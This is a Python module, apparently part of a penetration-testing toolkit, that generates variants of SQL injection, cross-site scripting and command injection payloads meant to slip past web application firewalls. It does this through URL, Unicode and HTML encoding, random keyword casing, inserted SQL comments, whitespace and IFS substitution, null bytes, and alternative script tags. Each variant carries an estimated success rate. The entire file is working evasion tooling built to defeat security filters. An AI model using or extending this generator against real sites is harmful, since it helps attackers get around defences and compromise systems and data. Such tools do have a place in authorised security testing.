"""
WAF Bypass Module

Generates bypass payloads for Web Application Firewalls:
- SQL Injection bypasses
- XSS filter bypasses
- Command injection bypasses
- Path traversal bypasses

Techniques include:
- URL/Unicode/HTML encoding
- Case variation
- Comment insertion
- Whitespace manipulation
- HTTP Parameter Pollution

Usage:
    from aipt_v2.evasion import WAFBypass

    bypass = WAFBypass()
    payloads = bypass.generate_sqli_bypasses("' OR '1'='1")
"""

import random
import urllib.parse
from dataclasses import dataclass, field
from typing import List, Dict, Optional
from enum import Enum


class BypassTechnique(Enum):
    """WAF bypass techniques."""
    URL_ENCODE = "url_encode"
    DOUBLE_URL_ENCODE = "double_url_encode"
    UNICODE_ENCODE = "unicode_encode"
    HTML_ENCODE = "html_encode"
    CASE_VARIATION = "case_variation"
    COMMENT_INSERTION = "comment_insertion"
    WHITESPACE_VARIATION = "whitespace_variation"
    NULL_BYTE = "null_byte"
    CHUNKED_ENCODING = "chunked_encoding"
    HPP = "http_param_pollution"


@dataclass
class BypassPayload:
    """Generated bypass payload."""
    original: str
    modified: str
    technique: str
    description: str
    success_rate: float = 0.5  # Estimated success rate


class WAFBypass:
    """
    WAF Bypass Payload Generator.

    Generates multiple bypass variants for payloads
    to evade Web Application Firewalls.
    """

    # SQL keywords for case variation
    SQL_KEYWORDS = [
        "SELECT", "UNION", "INSERT", "UPDATE", "DELETE", "DROP",
        "FROM", "WHERE", "AND", "OR", "ORDER", "BY", "GROUP",
        "HAVING", "LIMIT", "OFFSET", "JOIN", "LEFT", "RIGHT",
        "INNER", "OUTER", "ON", "AS", "INTO", "VALUES", "SET"
    ]

    # Whitespace alternatives
    WHITESPACE_ALTERNATIVES = [
        "/**/", "/*!", "/*foo*/", "%09", "%0a", "%0b", "%0c", "%0d",
        "%a0", "+", "%20", "/**_**/", "/*--*/"
    ]

    # Comment styles
    COMMENT_STYLES = [
        "/**/", "/***/", "/*foo*/", "/*!*/", "/*! */",
        "/*%00*/", "/**%0a**/", "/*%0d%0a*/"
    ]

    def __init__(self):
        """Initialize WAF bypass generator."""
        self.techniques = list(BypassTechnique)

    def url_encode(self, payload: str, double: bool = False) -> str:
        """URL encode payload."""
        encoded = urllib.parse.quote(payload, safe="")
        if double:
            encoded = urllib.parse.quote(encoded, safe="")
        return encoded

    def unicode_encode(self, payload: str) -> str:
        """Unicode encode payload."""
        result = ""
        for char in payload:
            if char.isalpha():
                result += f"%u00{ord(char):02x}"
            else:
                result += char
        return result

    def html_encode(self, payload: str) -> str:
        """HTML entity encode payload."""
        result = ""
        for char in payload:
            if char.isalpha() or char.isdigit():
                result += f"&#{ord(char)};"
            else:
                result += char
        return result

    def case_variation(self, payload: str) -> str:
        """Apply random case variation to SQL keywords."""
        result = payload
        for keyword in self.SQL_KEYWORDS:
            # Random case for each keyword
            varied = "".join(
                c.upper() if random.random() > 0.5 else c.lower()
                for c in keyword
            )
            result = result.replace(keyword, varied)
            result = result.replace(keyword.lower(), varied)
        return result

    def insert_comments(self, payload: str) -> str:
        """Insert SQL comments between characters."""
        result = ""
        for i, char in enumerate(payload):
            result += char
            if char.isalpha() and i < len(payload) - 1:
                if random.random() > 0.7:
                    result += random.choice(self.COMMENT_STYLES)
        return result

    def replace_whitespace(self, payload: str) -> str:
        """Replace whitespace with alternatives."""
        result = payload
        for ws in [" ", "\t", "\n"]:
            result = result.replace(ws, random.choice(self.WHITESPACE_ALTERNATIVES))
        return result

    def add_null_bytes(self, payload: str) -> str:
        """Add null bytes to payload."""
        return f"%00{payload}%00"

    def generate_sqli_bypasses(self, payload: str) -> List[BypassPayload]:
        """
        Generate SQL injection bypass variants.

        Args:
            payload: Original SQLi payload

        Returns:
            List of bypass payloads
        """
        bypasses = []

        # Original
        bypasses.append(BypassPayload(
            original=payload,
            modified=payload,
            technique="original",
            description="Original payload",
            success_rate=0.3
        ))

        # URL encoding
        bypasses.append(BypassPayload(
            original=payload,
            modified=self.url_encode(payload),
            technique="url_encode",
            description="URL encoded payload",
            success_rate=0.5
        ))

        # Double URL encoding
        bypasses.append(BypassPayload(
            original=payload,
            modified=self.url_encode(payload, double=True),
            technique="double_url_encode",
            description="Double URL encoded payload",
            success_rate=0.6
        ))

        # Unicode encoding
        bypasses.append(BypassPayload(
            original=payload,
            modified=self.unicode_encode(payload),
            technique="unicode_encode",
            description="Unicode encoded payload",
            success_rate=0.4
        ))

        # Case variation
        bypasses.append(BypassPayload(
            original=payload,
            modified=self.case_variation(payload),
            technique="case_variation",
            description="Random case variation",
            success_rate=0.6
        ))

        # Comment insertion
        bypasses.append(BypassPayload(
            original=payload,
            modified=self.insert_comments(payload),
            technique="comment_insertion",
            description="SQL comments inserted",
            success_rate=0.5
        ))

        # Whitespace variation
        bypasses.append(BypassPayload(
            original=payload,
            modified=self.replace_whitespace(payload),
            technique="whitespace_variation",
            description="Whitespace replaced with alternatives",
            success_rate=0.5
        ))

        # Combined techniques
        combined = self.case_variation(self.insert_comments(payload))
        combined = self.replace_whitespace(combined)
        bypasses.append(BypassPayload(
            original=payload,
            modified=combined,
            technique="combined",
            description="Multiple techniques combined",
            success_rate=0.7
        ))

        return bypasses

    def generate_xss_bypasses(self, payload: str) -> List[BypassPayload]:
        """
        Generate XSS bypass variants.

        Args:
            payload: Original XSS payload

        Returns:
            List of bypass payloads
        """
        bypasses = []

        # Original
        bypasses.append(BypassPayload(
            original=payload,
            modified=payload,
            technique="original",
            description="Original payload",
            success_rate=0.3
        ))

        # Case variations for script tag
        if "<script>" in payload.lower():
            variants = [
                payload.replace("<script>", "<ScRiPt>").replace("</script>", "</ScRiPt>"),
                payload.replace("<script>", "<SCRIPT>").replace("</script>", "</SCRIPT>"),
                payload.replace("<script>", "<scr<script>ipt>"),
            ]
            for v in variants:
                bypasses.append(BypassPayload(
                    original=payload,
                    modified=v,
                    technique="case_variation",
                    description="Script tag case variation",
                    success_rate=0.4
                ))

        # Event handler variations
        event_handlers = [
            ("onerror", ["OnErRoR", "oNeRrOr", "ONERROR"]),
            ("onload", ["OnLoAd", "oNlOaD", "ONLOAD"]),
            ("onclick", ["OnClIcK", "oNcLiCk", "ONCLICK"]),
        ]

        for handler, variants in event_handlers:
            if handler in payload.lower():
                for v in variants:
                    bypasses.append(BypassPayload(
                        original=payload,
                        modified=payload.lower().replace(handler, v),
                        technique="event_handler_variation",
                        description=f"Event handler variation: {v}",
                        success_rate=0.5
                    ))

        # HTML encoding
        bypasses.append(BypassPayload(
            original=payload,
            modified=self.html_encode(payload),
            technique="html_encode",
            description="HTML entity encoded",
            success_rate=0.4
        ))

        # SVG/IMG alternatives
        if "<script>" in payload.lower():
            svg_payload = payload.replace(
                "<script>alert(1)</script>",
                "<svg onload=alert(1)>"
            )
            bypasses.append(BypassPayload(
                original=payload,
                modified=svg_payload,
                technique="tag_alternative",
                description="SVG tag alternative",
                success_rate=0.6
            ))

            img_payload = '<img src=x onerror=alert(1)>'
            bypasses.append(BypassPayload(
                original=payload,
                modified=img_payload,
                technique="tag_alternative",
                description="IMG tag alternative",
                success_rate=0.6
            ))

        return bypasses

    def generate_cmdi_bypasses(self, payload: str) -> List[BypassPayload]:
        """
        Generate command injection bypass variants.

        Args:
            payload: Original command injection payload

        Returns:
            List of bypass payloads
        """
        bypasses = []

        # Original
        bypasses.append(BypassPayload(
            original=payload,
            modified=payload,
            technique="original",
            description="Original payload",
            success_rate=0.3
        ))

        # Variable substitution
        if "cat " in payload:
            bypasses.append(BypassPayload(
                original=payload,
                modified=payload.replace("cat ", "c''at "),
                technique="quote_insertion",
                description="Quote insertion in command",
                success_rate=0.5
            ))
            bypasses.append(BypassPayload(
                original=payload,
                modified=payload.replace("cat ", "c${IFS}at "),
                technique="variable_substitution",
                description="IFS variable substitution",
                success_rate=0.6
            ))

        # Newline bypass
        bypasses.append(BypassPayload(
            original=payload,
            modified=f"%0a{payload}",
            technique="newline_bypass",
            description="Newline character bypass",
            success_rate=0.5
        ))

        # Tab bypass
        bypasses.append(BypassPayload(
            original=payload,
            modified=payload.replace(" ", "\t"),
            technique="tab_bypass",
            description="Tab character for space",
            success_rate=0.4
        ))

        # Backtick alternatives
        if "`" in payload:
            bypasses.append(BypassPayload(
                original=payload,
                modified=payload.replace("`", "$(").rstrip("`") + ")",
                technique="subshell_alternative",
                description="$() instead of backticks",
                success_rate=0.6
            ))

        return bypasses

    def generate_all_bypasses(
        self,
        payload: str,
        payload_type: str = "sqli"
    ) -> List[BypassPayload]:
        """
        Generate all bypass variants for a payload.

        Args:
            payload: Original payload
            payload_type: Type (sqli, xss, cmdi)

        Returns:
            List of bypass payloads
        """
        if payload_type == "sqli":
            return self.generate_sqli_bypasses(payload)
        elif payload_type == "xss":
            return self.generate_xss_bypasses(payload)
        elif payload_type == "cmdi":
            return self.generate_cmdi_bypasses(payload)
        else:
            return [BypassPayload(
                original=payload,
                modified=payload,
                technique="unknown",
                description="Unknown payload type"
            )]


# Convenience function
def generate_bypass_payloads(
    payload: str,
    payload_type: str = "sqli"
) -> List[BypassPayload]:
    """
    Generate WAF bypass payloads.

    Args:
        payload: Original payload
        payload_type: Type (sqli, xss, cmdi)

    Returns:
        List of bypass payloads
    """
    bypass = WAFBypass()
    return bypass.generate_all_bypasses(payload, payload_type)
